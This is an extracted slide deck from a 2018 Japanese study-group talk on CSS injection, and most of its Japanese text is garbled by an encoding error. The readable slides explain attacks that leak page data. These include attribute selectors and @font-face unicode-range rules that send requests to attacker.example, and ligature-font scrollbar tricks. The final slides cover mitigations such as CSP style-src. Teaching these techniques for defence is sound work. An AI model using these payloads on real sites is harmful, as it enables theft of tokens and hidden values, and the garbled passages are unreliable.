CSS Injection ++ - 既存手法の概観と対策

「第19回ゼロから始めるセキュリティ入門 勉強会」での, CSS Injection の脅威と対策に関する short talk 用に作成した資料です :-)
勉強会ページ: https://weeyble-security.connpass.com/event/98127/

I explain some techniques of CSS Injection by @masatokinugawa, @SecurityMB, and other websec researchers in Japanese. I highly recommend to check the following awesome work by @SecurityMB and @0x6D6172696F.
- https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
- https://www.slideshare.net/x00mario/stealing-the-pie

1. Takashi Yoneuchi 
 ja: @lmt_swallow , en: @y0n3uchy https://shift-js.info "File:CSS3 logo and wordmark.svg." Wikimedia Commons, the free media repository. 28 Feb 2018, 03:50 UTC. 25 Aug 2018, 05:09 <https://commons.wikimedia.org/w/index.php? title=File:CSS3_logo_and_wordmark.svg&oldid=289484916>. CSS Injection ++
 طଘख๏ͷ֓؍ͱରࡦ
2. © 2018 shift-js.info All Rights Reserved. @lmt_swallow ‣ 5BLBTIJ
   :POFVDIJ
 BLB
   !ZOVDIZ
   ‣ EPEPEPEP
   $5'
   5FBN
   J
   54(
   ‣ 4&$$0/
   #FHJOOFST
   DUGC
   TFDDBNQ
   TUB⒎
   ‣ 8FC
   4FDVSJUZ
   3FTFBSDIFS
   8BOOBCF
   ‣ IUUQTTIJGUKTJOGP
   
3. CSS Injection ͱ͸
4. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ CSS Injection
 ੬ऑੑͷ֓ཁ ‣ "CSS injection vulnerabilities arise when an application imports a style sheet from a user- supplied URL, or embeds user input in CSS blocks without adequate escaping. "
 (PortSwigger, https://portswigger.net/kb/issues/00501300_css-injection-reflected)
 ‣ ߈ܸऀ͕೚ҙ CSS ϑΝΠϧͷΠϯϙʔτΛͤͨ͞Γ, <style> ΛΤεέʔϓແ͠ͰૠೖͰ͖Δ੬ऑੑ 4
5. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Threats
 CSS Injection ͷڴҖ ‣ ʮͨͩ CSS ͕ૠೖͰ͖Δ͚ͩ͡Όͳ͍ͷ? ʯ ‣ ౴͑͸NO: े෼߈ܸͱͯ͠੒ཱ͢Δɻ ‣ CSS Injection ͷڴҖ͸࣍ͷΑ͏ʹ෼ྨͰ͖Δ: ‣ CSS ʹΑΔϖʔδίϯςϯπͷநग़ ‣ ଐੑ (attribute) நग़ ‣ λά಺ίϯςϯπநग़ ‣ (CSS ͔Βͷ JavaScript ࣮ߦ (outdate)) 5
6. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Even if it seems "invisible" ...?
 ݟ͑ͳ͍Α͏ʹݟ͑ͯ΋, ࣮͸… ‣ ࣮͸ <script> λά౳͢Β style Λௐ੔Մೳ ‣ CSS Injection ͷର৅ʹͳΔ 6 <head> <style> script { display: block; } </style> </head> <body> <script> var secret = "hello"; </script> </body>
7. طଘख๏ͷ֓؍
8. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ JS Execution from CSS
 CSS ͔Βͷ JS ࣮ߦ ‣ ੲ͸͍͔ͭ͘ͷํ๏Ͱ JS (or ద౰ͳεΫϦ ϓτݴޠ) ࣮ߦʹͭͳ͛Δٕ๏͕ଘࡏͨ͠ɻ ‣ .htc ϑΝΠϧͱ behavior: Λ࢖͏ྫ ‣ expression: Λ࢖͏ྫ ‣ Ϟμϯͳϒϥ΢βͰ͸ (஌ΔݶΓ) ࣮ݱෆՄ ೳͰ͋Δɻ 8
9. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Values of Attributes
 ଐੑ஋ΛϦʔΫ͢Δ: ݪཧ ‣ ࣍ͷΑ͏ͳ HTML λάΛߟ͑Α͏:
 <input type="hidden" value="abc"> 
 ‣ ͜Ε͸࣍ͷ 3 ͭͷ CSS ηϨΫλશͯʹ Ϛον͢Δ:
 input[value ^= "a"] { /* ... */ }
 input[value ^= "ab"] { /* ... */ }
 input[value ^= "abc"] { /* ... */ }
 ‣ ͜ΕΛԠ༻͢Δͱ, ଐੑ஋Λ leak Մೳɻ 9
10. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Values of Attributes
 ଐੑ஋ΛϦʔΫ͢Δ: શମਤ 10 input[value ^= "a"] {
 background: url(http://attacker.example/?a)
 } /* ... */ ‘ ߈ܸϕΫλ ϦΫΤετ ϦʔΫ ൓ࣹܕ ஝ੵܕ
11. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Values of Attributes
 ଐੑ஋ΛϦʔΫ͢Δ: ۩ମతख๏ (1) ‣ ࣍ͷλάͷ value Λൈ͖͍ͨͱ͢Δ:
 <input type="hidden" value="abc"> 
 ‣ ࣍ͷΑ͏ͳ CSS Λ a-z ͷશͯ෼࡞ͬͯ Inject ͢Δ:
 
 
 aaa ‣ attacker.example Ͱ଴ͪड͚͍ͯΕ͹ GET /?a ͔Β GET /?z ͷͲΕ͕ඈΜͰ͘Δɻ( ۩ମతʹ͸ GET /?a ) ‣ 1 จࣈ໨ ("a") ͷ leak ୡ੒ 11 input[value ^= "a"] { 
 background: url(http://attacker.example/?a)
 }
12. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Values of Attributes
 ଐੑ஋ΛϦʔΫ͢Δ: ۩ମతख๏ (2) ‣ ࣍ʹ, ্هͷΑ͏ͳ CSS Λ४උ͢Δ: ‣ ಉ༷ʹ Inject ͯ͠ attacker.example Ͱ଴ͪड͚͍ͯ Ε͹, 2 จࣈ໨ ("b") ΋ leak Ͱ͖ΔɻҎ߱܁Γฦ͠ɻ 12 input[value ^= "aa"] { 
 background: url(http://attacker.example/?aa)
 }
 /* ... */
 input[value ^= "az"] {
 background: url(http://attacker.example/?az)
 }
13. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Inner Values of Tags
 λά಺෦ͷ஋ΛϦʔΫ͢Δ: ֓؍ ‣ ઌड़ͷํ๏Ͱ͸ CSS ηϨΫλͷ࢖͑Δ
 "ଐੑ஋" ͔͠ leak Ͱ͖ͳ͍ (҆શ!) ɻ ‣ ͔͠͠λά಺෦ͷ஋ͷ leak ΋, ผͷํ๏ Ͱ࣮ݱՄೳɻ͜Ε͸͕࣍ΩϞ: ‣ "Ligature" ͷ੍ޚ ‣ ͦͷεΫϩʔϧόʔ੍ޚʹΑΔݕ஌ ‣ @SecurityMB ͞Μͷهࣄ͕෼͔Γ΍͍͢
 https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak- wykorzystac-css-y-do-atakow-na-webaplikacje/ 13
14. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Inner Values of Tags
 λά಺෦ͷ஋ΛϦʔΫ͢Δ: શମਤ 14 ‘ ߈ܸϕΫλ ϦΫΤετ ϦʔΫ ൓ࣹܕ ஝ੵܕ
15. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Inner Values of Tags
 λά಺෦ͷ஋ΛϦʔΫ͢Δ: શମਤ 15 ϑΥϯτ੍ޚ εΫϩʔϧόʔ੍ޚ ߈ܸϕΫλ = + ‣ ϑΥϯτ੍ޚ ‣ ಛఆ৚݅ԼͰͷΈεΫϩʔϧόʔ͕ੜ͡ΔΑ͏ʹௐ੔͢Δ ‣ εΫϩʔϧόʔ੍ޚ ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ͷΈ, ଴ͪड͚αʔόʔʹϦΫ ΤετΛඈ͹ͤ͞Δ
16. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Inner Values of Tags
 λά಺෦ͷ஋ΛϦʔΫ͢Δ: ۩ମతख๏ (1) 16 ϑΥϯτ੍ޚ f + i → fi (Times) ‣ ্هͷΑ͏ͳ Ligature (߹ࣈ) ͸ϑΥϯτͰఆٛՄೳͰ͋Δɻ ‣ ͦ͜Ͱ, ࣍ͷΑ͏ͳϑΥϯτΛ༻ҙ͠, σʔλΛϦʔΫ͍ͨ͠ λάʹରͯ͠ઃఆ͢Δ: ‣ ಛఆͷจࣈͷฒͼ (e.g. abc) ʹରͯ͠͸, ϑΥϯτͷԣ෯Λ े෼େ͖͘औΔ ‣ ͦΕҎ֎͸ϑΥϯτͷԣ෯Λ 0 ʹ͢Δ
17. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Inner Values of Tags
 λά಺෦ͷ஋ΛϦʔΫ͢Δ: ۩ମతख๏ (2) 17 εΫϩʔϧόʔ੍ޚ ‣ ॳΊʹจࣈͷճΓࠐΈΛ௵͓ͯ͘͠: white-space: nowrap; ‣ ϑΥϯτ੍ޚʹΑΓ, ಛఆจࣈྻؚ͕·Ε͍ͯΔ৔߹ʹͷΈ, εΫϩʔϧόʔ͕ੜ͡Δɻ ‣ ͋ͱ͸࣍ͷΑ͏ͳ CSS ΋ซͤͯ Inject ͓ͯ͘͠ͱ, εΫϩʔϧ όʔදࣔΛ͖͔͚ͬʹ, ଴ͪड͚αʔόʔͱ௨৴͕Ͱ͖Δɻ body::-webkit-scrollbar:horizontal { background: url(http://attacker.example/leak); }
18. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Steal Inner Values of Tags
 λά಺෦ͷ஋ΛϦʔΫ͢Δ: ۩ମతख๏ (3) 18 ‣ ྫ͑͹ <span> Hello, abc </span> ͷ abc Λ leak ͍ͨ࣌͠ ‣ "Hello, a" ͷΈ ligature ͱͯ͠ԣ෯͸େ͖͘, ͦΕҎ֎ͷ೚ ҙจࣈ͸ԣ෯ 0 Ͱ͋ΔΑ͏ͳϑΥϯτΛ༻ҙ͢Δ ‣ ༻ҙͨ͠ϑΥϯτͷઃఆͱ, εΫϩʔϧόʔ੍ޚΛߦ͏ CSS Λ, ֤ϑΥϯτ͝ͱʹ Inject ͢Δɻ(→ ͲΕ͔ͰൃՐ͢Δ) ‣ 1 จࣈ໨ (= a ) ͕ leak Ͱ͖ͨΒ, ্هΛ܁Γฦ͢ ‣ "Hello, ab", ... "Hello, az" ͳͲΛ४උ͢Δ, ͱ͍͏͜ͱ ϑΥϯτ੍ޚ εΫϩʔϧόʔ੍ޚ +
19. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Leak Candidates of Inner Values
 λά಺෦ͷจࣈछΛߜΔ/ͦͷॱংΛ஌Δ ‣ @font-face ͷࢦఆͰ, λά಺෦ͷจࣈछ͸ߜΕΔɻ ‣ unicode-range Λ࢖ͬͯ, ֤ Unicode ίʔυϙΠ ϯτʹରͯ͠ผݸͷϑΥϯτιʔεΛࢦఆ͢Δɻ
 
 
 ‣ ߈ܸऀ͸ඈΜͰ͖ͨϦΫΤετΛ଴ͪड͚Δɻ ‣ Reference: "@font-faceͷunicode-rangeΛར༻ͯ͠CSS͚ͩͰςΩετΛಡΈग़͢"
 by @masatokinugawa, http://masatokinugawa.l0.cm/2015/10/css-based-attack- abusing-unicode-range.html 19 @font-face{ font-family:poc; unicode-range:U+0041;
 src: url(http://attacker.example/?A);}
20. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Leak Candidates of Inner Values
 λά಺෦ͷจࣈछΛߜΔ/ͦͷॱংΛ஌Δ ‣ ઌड़ͷख๏Ͱ͋Δจࣈͷొ৔͸஌Δ͜ͱ͕ग़དྷΔ͕, ͦͷ࢖༻ ճ਺ɾॱ൪͸෼͔Βͳ͍ → ෆ׬શͳ෮ݩɻ ‣ ॱ൪: CSS ͷ animation Λ૊Έ߹ΘͤΔ͜ͱͰ, จࣈͷॳొ ৔ॱΛอͪͭͭ, ϑΥϯτཁٻͷϦΫΤετΛඈ͹ͤ͞Δ͜ ͱ͕Ͱ͖Δɻ ‣ "HarekazeCTF2018 Web250 : A custom css for the flag"
 by @KageShiron, http://blog.esora.xyz/HarekazeCTF2018-CSS#web250-jp 
 ‣ ճ਺: ͜ΕΛઌड़ͷख๏Λϕʔεʹ෮ݩ͢Δख๏͸ະ஌ (or ଘࡏ͠ͳ͍?) (஌͍ͬͯͨΒڭ͍͑ͯͩ͘͞!) 20
21. ๷ޚͷࢹ఺͔Β:
 ߈ܸܦ࿏ɾରࡦ
22. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Where can be exploited? ߈ܸܦ࿏ ‣ Relative Path Overwrite (RPO) ‣ Writeup: "RPO Gadgets"
 by @filedescriptor, https://blog.innerht.ml/rpo-gadgets/
 ‣ <style> λάࣗମΛૠೖͰ͖Δ৔߹ ‣ ͜ͷ৔߹͸ͦ΋ͦ΋ <script> ΛૠೖͰ͖ͦ͏͕ͩ, blacklist ͷόΠύεʹ͸࢖͑Δ? ‣ <style> λά಺ʹ೚ҙจࣈྻΛૠೖͰ͖Δ৔߹ ‣ ೚ҙ CSS ΛϢʔβʔ͕ઃఆͰ͖ΔՕॴ 22
23. © 2018 shift-js.info CSS Injection ++: CSS Injection ؔ࿈ٕ๏ͷ֓؍ͱରࡦ Mitigations
 ରࡦ ‣ ΫϥΠΞϯτଆରࡦ: Content-Security-Policy ‣ ࠓճ঺հͨ͠߈ܸख๏͸, શͯ CSP ͷ style-src σΟϨΫςΟϒʹΑΓ੍ݶՄೳͰ͋Δɻ ‣ αʔόʔଆରࡦ: ϢʔβʔʹΑΔ CSS ૠೖͷ੍ݶ ‣ CSS Injection ؚΊ, ೚ҙ CSS ΛૠೖͰ͖ΔՕॴ͸, े෼ηΩϡϦςΟ্ͷϦεΫ଍ΓಘΔɻ ‣ Relative Path Overwrite ͕Մೳͳ৔߹, CSS ஫ೖ͕ Ͱ͖ͦ͏ʹͳ͍ͱ͜Ζʹ΋ةݥੑ͋Γ! ஫ҙɻ 23
24. Thank you for listening :-) Any Questions? Takashi Yoneuchi ja: @lmt_swallow, en: @y0n3uchy https://shift-js.info